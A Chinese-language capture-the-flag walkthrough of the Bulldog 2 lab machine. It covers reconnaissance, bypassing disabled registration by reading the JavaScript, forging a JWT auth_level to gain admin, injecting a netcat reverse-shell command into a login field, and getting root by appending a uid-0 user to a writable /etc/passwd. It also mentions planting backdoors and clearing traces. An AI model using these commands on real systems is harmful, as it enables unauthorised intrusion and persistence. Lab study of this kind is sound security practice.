一、实验环境
- Kali攻击机:192.168.247.149
- bulldog 2靶机:192.168.247.150、(192.168.247.151)
开始之前,需先登录bulldog2。账号:dirty,密码:pass,并使其获取IP
二、实验步骤
(一)主动信息收集
1、扫描存活主机
2、扫描开放端口(192.168.247.150和192.168.247.151开放端口相同)
3、开放端口详细信息
4、网站版本
searchsploit nginx
在Kali集成的文件中没有发现Nginx1.14的版本,如果有,可以利用版本的漏洞进行渗透。
(二)端口探测
可以看到该靶机只开放了80端口, 接下来肯定是要探测目录了。
1、目录探测
默认字典探测
使用大字典探测
通过目录猜解发现没有可利用的目录,那根据个人经验估计突破口肯定在js文件里。
2、查看js文件
我们在查看页面的时候可以看到,页面上有个注册功能,但是我们点击出现一个通知 ' 遗憾的是,出于安全考虑,我们目前不接受注册。如果需要,请联系a客户支持代表创建一个商业帐户。',可以尝试利用该漏洞注册一个新账户。
- 尝试注册新用户
使用 ' register ' 作为关键字,对4个js文件进行搜索,只有main开头的js文件中包含register关键词,对该js文件进行研究,可发现现以下有用信息,如图所示:
根据js上的定义,我们可以使用 post提交新账户信息来完成注册,但是注意这里有2点要求:
- Content-Type 必须要是:application/json
- post 数据包内容处,必须要严格按照js代码里的规范
不能注册,我们可以使用新账户和密码进行登录,使用BurpSuite进行抓包,然后按照上面的要求对其进行改包。
可以看到返回true,注册成功了。使用新创建的(用户名:admin123,密码:123admin)账号进行登录,登录成功。
进入该账户界面,里面没有可利用的信息,此时我们可以向上提权,将该账户修改为管理员账户。
3、垂直提权
退出当前登陆账户,回到注册点,再次登陆,并进行抓包
然后Forword,就可以看到服务器返回的数据包
接下来我们就来解密一下看这个tonken传递了什么内容,我们可以去Google搜索 ' JWT解密 ' (注:一般第一条就是我们想要的),解密网址:https://jwt.io。
我们把那个tonken后面的编码复制进去查询一下看看,出现如下图所示的结果:
此时我们看到一个可疑的参数:' auth_level ',通过名字就应该知道是判断用户权限的,我们使用这个参数去刚刚保存的几个js文件里搜索看看,只有main开头的js文件中包含auth_level关键词,如图:
根据代码我们可以推断出,下一步我们只需要把 ' standard_user ' 替换成 ' master_admin_user ' 就行,如图:
接下来复制修改后的新编码,替换原来的编码,注:后面明文处也要修改成“master_admin_user”,如图:
改完之后,放包,我们已经成功变成了 admin 账户。(到这一步,不要退出,下面的操作会用着)
下面我们就直接在修改密码处执行漏洞拿反弹shell
4、获取Shell
点击Admin,输入已存在的用户名和错误的密码进行登录,使用BurpSuite进行抓包,在密码后面添加一句话反弹shell命令,并在Kali测试机上监听端口1234。如图所示:
此处的反弹shell命令为:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.247.149 >/tmp/f; //192.168.247.149为Kali测试机IP地址
成功拿到shell。
5、提权
python -c 'impport pty;pty.spawn("/bin/bash")' //将简单的Shell转换成为完全交互式的TTY
切换到/etc,查看passwd文件权限,发现该文件可读、可写、可执行,如图:
查看用户
新建一个具有root权限的用户,并追加到passwd文件中。
- perl -le 'print crypt("pass","aa")' //perl需要一个加密盐对密码pass进行加密,如这里使用了aa(salt指加密中用到的随机字符串,用不同的salt可以生成不同的加密结果)。
- echo 'cqq:aaW3cJZ7OSoQM:0:0:cqq:/root:/bin/bash' >> passwd
我们只需要修改3处(上面命令中标红的三处):一个是名字(cqq)、一个是刚刚编译出来的密文、一个是跟名字一样。此处的 0:0 切记不可修改,相信小伙伴们都了解过passwd文件的权限类型。
再次查看passwd文件,新用户添加成功。
确认一切都没问题了,就可以直接输入命令:su cqq,密码为刚刚设置的:pass。成功拿到root权限,并拿到flag,如图:
终极三连问
之后便可以留后门,清理痕迹,奔跑了。。。
三、总结
1、不管是靶机的安全检测还是平时的渗透测试工作,我们都不应该去忽略js文件;
2、页面如果有注册但又不能注册时,我们可以使用一个新用户进行登录,然后使用“register”作为关键词在js文件中查找相关源代码,对注册新用户的要求,注册新用户,通过BurpSuite抓包按照代码的要求对其进行改包,使其注册成功;
3、垂直提权,通过修改服务器对普通用户登录的回包(auth_level),将其变成具有管理员权限的用户;
4、获得shell——在Kali上监听端口1234;登录管理员账户,在数据包的密码后面添加一句话木马(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.247.149 1234 >/tmp/f;)获得反弹shell;
5、python -c ‘import pty;pty.spawn(“/bin/bash”) —— 将shell转换为完全交互式的TTY;
6、发现/etc/passwd具有写入权限,新建一个具有root权限的用户,并追加到passwd文件中。然后 su cqq 进行检验。
- perl -le ‘print crypt(“pass”,”aa”)’ //对密码pass使用加密盐aa对其进行加密
- echo 'cqq:aaW3cJZ7OSoQM:0:0:cqq:/root:/bin/bash' >> passwd